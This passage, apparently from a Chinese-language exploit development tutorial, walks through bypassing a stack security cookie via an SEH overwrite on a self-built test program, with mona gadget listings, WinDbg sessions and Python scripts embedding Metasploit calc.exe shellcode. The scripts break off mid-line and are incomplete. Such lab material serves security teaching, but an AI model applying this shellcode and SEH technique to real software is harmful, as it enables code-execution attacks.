0x7735b440 |   0x7735b440 (b+0x0003b440)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7735f570 |   0x7735f570 (b+0x0003f570)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x77397345 |   0x77397345 (b+0x00077345)  : pop esi # pop ebx # retn | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x773991d6 |   0x773991d6 (b+0x000791d6)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7739be98 |   0x7739be98 (b+0x0007be98)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x773ee9d3 |   0x773ee9d3 (b+0x000ce9d3)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x74bdd75d |   0x74bdd75d (b+0x0003d75d)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17651 (C:\Windows\syswow64\kernel32.dll)
0x74bdd916 |   0x74bdd916 (b+0x0003d916)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17651 (C:\Windows\syswow64\kernel32.dll)
0x7735277b |   0x7735277b (b+0x0003277b)  : pop ebp # pop ebx # retn 14h | asciiprint,ascii {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7739bdef |   0x7739bdef (b+0x0007bdef)  : pop edi # pop ebx # retn 10h |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x77352b3e |   0x77352b3e (b+0x00032b3e)  : pop ebx # pop ebp # retn 10h | asciiprint,ascii {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7735aa59 |   0x7735aa59 (b+0x0003aa59)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
0x7735f761 |   0x7735f761 (b+0x0003f761)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.17725 (ntdll.dll)
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open c:\mona\test_x86_wo_safeseh_dep\findwild.txt...
    Found a total of 1090 pointers

这里,我们直接使用第一个搜索到的指令地址,构建下面的Python脚本,快速生成msg.dat文件。

import struct
output = r'msg.dat'
# ntdll.dll
ntdll = 0x77320000   
# windows/exec - 193 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process, 
# CMD=calc.exe
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

with open(output, 'wb') as f:
    shellcode = buf
    jmp_code = struct.pack('

用生成好的msg.dat文件调试,会发现这样的msg.dat,会导致异常,而这个异常是由于stack security checking导致的。

0:000> bp test_x86_wo_safeseh_dep+10E7
*** WARNING: Unable to verify checksum for test_x86_wo_safeseh_dep.exe
0:000> bl
 0 e 012a10e7     0001 (0001)  0:**** test_x86_wo_safeseh_dep!main+0xe7
0:000> u test_x86_wo_safeseh_dep+10E7 l1
test_x86_wo_safeseh_dep!main+0xe7 [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 22]:
012a10e7 ff1598202a01    call    dword ptr [test_x86_wo_safeseh_dep!_imp__fread (012a2098)]
0:000> g
Breakpoint 0 hit
eax=0017fafc ebx=73837060 ecx=000000c8 edx=0020dd78 esi=000000c8 edi=00000000
eip=012a10e7 esp=0017fadc ebp=0017fb20 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
test_x86_wo_safeseh_dep!main+0xe7:
012a10e7 ff1598202a01    call    dword ptr [test_x86_wo_safeseh_dep!_imp__fread (012a2098)] ds:002b:012a2098={MSVCR110!fread (737888fc)}
0:000> p
eax=000000c8 ebx=73837060 ecx=737888dc edx=00000000 esi=000000c8 edi=00000000
eip=012a10ed esp=0017fadc ebp=0017fb20 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
test_x86_wo_safeseh_dep!main+0xed:
012a10ed 8b45d8          mov     eax,dword ptr [ebp-28h] ss:002b:0017faf8=0000011d
0:000> dd esp l200
0017fadc  0017fafc 00000001 000000c8 73837060
0017faec  00000000 00000000 00000001 0000011d
0017fafc  61616161 61616161 61616161 61616161
0017fb0c  61616161 61616161 61616161 61616161
0017fb1c  61616161 61616161 61616161 61616161
0017fb2c  61616161 61616161 61616161 61616161
0017fb3c  61616161 61616161 61616161 61616161
0017fb4c  61616161 eb069090 7735fd82 0082e8fc
0017fb5c  89600000 64c031e5 8b30508b 528b0c52
0017fb6c  28728b14 264ab70f 3cacff31 2c027c61
0017fb7c  0dcfc120 f2e2c701 528b5752 3c4a8b10
0017fb8c  78114c8b d10148e3 20598b51 498bd301
0017fb9c  493ae318 018b348b acff31d6 010dcfc1
0017fbac  75e038c7 f87d03f6 75247d3b 588b58e4
0017fbbc  66d30124 8b4b0c8b 00000000 00000000
0017fbcc  012a13a2 7efde000 00000000 00000000
0017fbdc  00000000 00000000 00000000 00000000
...
0017ffcc  00000000 00000000 00000000 00000000
0017ffdc  00000000 00000000 00000000 00000000
0017ffec  00000000 00000000 00000000 00000000
0:000> ba e1 0017fb4c+8
0:000> bl
 0 e 012a10e7     0001 (0001)  0:**** test_x86_wo_safeseh_dep!main+0xe7
 1 e 0017fb54 e 1 0001 (0001)  0:**** 
0:000> g
Breakpoint 0 hit
eax=0017fbc4 ebx=73837060 ecx=000000c8 edx=00000000 esi=00000055 edi=000000c8
eip=012a10e7 esp=0017fadc ebp=0017fb20 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
test_x86_wo_safeseh_dep!main+0xe7:
012a10e7 ff1598202a01    call    dword ptr [test_x86_wo_safeseh_dep!_imp__fread (012a2098)] ds:002b:012a2098={MSVCR110!fread (737888fc)}
0:000> g
STATUS_STACK_BUFFER_OVERRUN encountered
(4cc.b20): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=012a2108 ecx=74bf01b8 edx=0017f4e1 esi=00000000 edi=00000000
eip=74beff99 esp=0017f728 ebp=0017f7a4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
74beff99 cc              int     3
0:000> k
ChildEBP RetAddr  
0017f7a4 738100f1 kernel32!UnhandledExceptionFilter+0x5f
0017f7b0 012a13c9 MSVCR110!__crtUnhandledException+0x14
0017f7c0 012a14e0 test_x86_wo_safeseh_dep!__raise_securityfailure+0x1d [f:\dd\vctools\crt_bld\self_x86\crt\src\gs_report.c @ 79]
0017faf0 012a1126 test_x86_wo_safeseh_dep!__report_gsfailure+0xf7 [f:\dd\vctools\crt_bld\self_x86\crt\src\gs_report.c @ 235]
0017fb20 61616161 test_x86_wo_safeseh_dep!main+0x126 [z:\d_disk\workspace\vs_2012\test\stack_overflow.cpp @ 30]

原因是由于这次生成的msg.dat没有在stack security checking之前,触发异常。
重新修改python脚本,如下:

import struct
output = r'msg.dat'
# ntdll.dll
ntdll = 0x77320000   
# windows/exec - 193 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process, 
# CMD=calc.exe
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

with open(output, 'wb') as f:
    shellcode = buf
    jmp_code = "\xeb\x06\x90\x90"
    addr_pop_pop_ret = struct.pack('

调试以后,发现依然会出现exception,而这个异常会在触发完第一个异常处理函数之后,在第二个异常处理之前产生。而此时,相应的exception handler已经被成功覆写。

0:000> !exchain
0046f880: MSVCR110!_except_handler4+0 (7378a6e0)
  CRT scope  0, func:   MSVCR110!fread_s+83 (737c1cfc)
0046f928: ntdll!RtlpCreateLowFragHeap+2a (7735fd82)
Invalid exception stack at eb069090
0:000> bp 7378a6e0
0:000> bp 7735fd82
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=7378a6e0 edx=7737b46d esi=00000000 edi=00000000
eip=7378a6e0 esp=0046f258 ebp=0046f278 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
MSVCR110!_except_handler4:
7378a6e0 55              push    ebp
0:000> g
(af0.b80): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=0046f340 ecx=00000029 edx=00000000 esi=008d85b4 edi=00470000
eip=773415de esp=0046f32c ebp=0046f814 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtRaiseException+0x12:
773415de 83c404          add     esp,4
0:000> g
(af0.b80): Unknown exception - code 00000000 (first chance)
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=7378a6e0 edx=7737b46d esi=00000000 edi=00000000
eip=7378a6e0 esp=0046ed90 ebp=0046edb0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
MSVCR110!_except_handler4:
7378a6e0 55              push    ebp
0:000> g
(af0.b80): Unknown exception - code 00000000 (!!! second chance !!!)
eax=00000000 ebx=0046ee78 ecx=d4840000 edx=0028dde8 esi=008d85b4 edi=00470000
eip=773415de esp=0046ee64 ebp=0046f814 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtRaiseException+0x12:
773415de 83c404          add     esp,4

这种情况的原因是由于我们使用的POP,POP,RET是NTDLL中的地址,而NTDLL已经开启了SAFESEH,从而导致,我们覆写的exception handler会触发异常。

0:000> !py mona modules
Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 0x75500000 | 0x75546000 | 0x00046000 | False  | True    | True  |  True    | True   | 6.1.7601.17651 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
 0x77320000 | 0x774a0000 | 0x00180000 | False  | True    | True  |  True    | True   | 6.1.7601.17725 [ntdll.dll] (ntdll.dll)
 0x74ba0000 | 0x74cb0000 | 0x00110000 | False  | True    | True  |  True    | True   | 6.1.7601.17651 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
 0x00010000 | 0x00016000 | 0x00006000 | False  | False   | True  |  False   | False  | -1.0- [test_x86_wo_safeseh_dep.exe] (test_x86_wo_safeseh_dep.exe)
 0x73770000 | 0x73846000 | 0x000d6000 | False  | True    | True  |  True    | True   | 11.0.51106.1 [MSVCR110.dll] (C:\Windows\SysWOW64\MSVCR110.dll)
----------------------------------------------------------------------------------------------------------------------------------

绕过SAFESEH,最简单的方式,就是找一个没有开启SAFESEH的module,从中寻找相应的指令。因为前面我们禁用了可执行程序的/SAFESEH,另外,由于当前的程序开启了ASLR,所以,程序每次启动都会改变基址,这样,我们准备的msg.dat就会失效,所以,为了简单说明问题,程序启动之初,在加载msg.dat之前,我们先查看相应的基址,并修改相应的脚本生成适当的msg.dat。关于绕过ASLR的方式,后续我们会在其他篇幅单独介绍。
Exploit Development – 使用SEH绕过Security Cookie_第3张图片

你可能感兴趣的:(Security)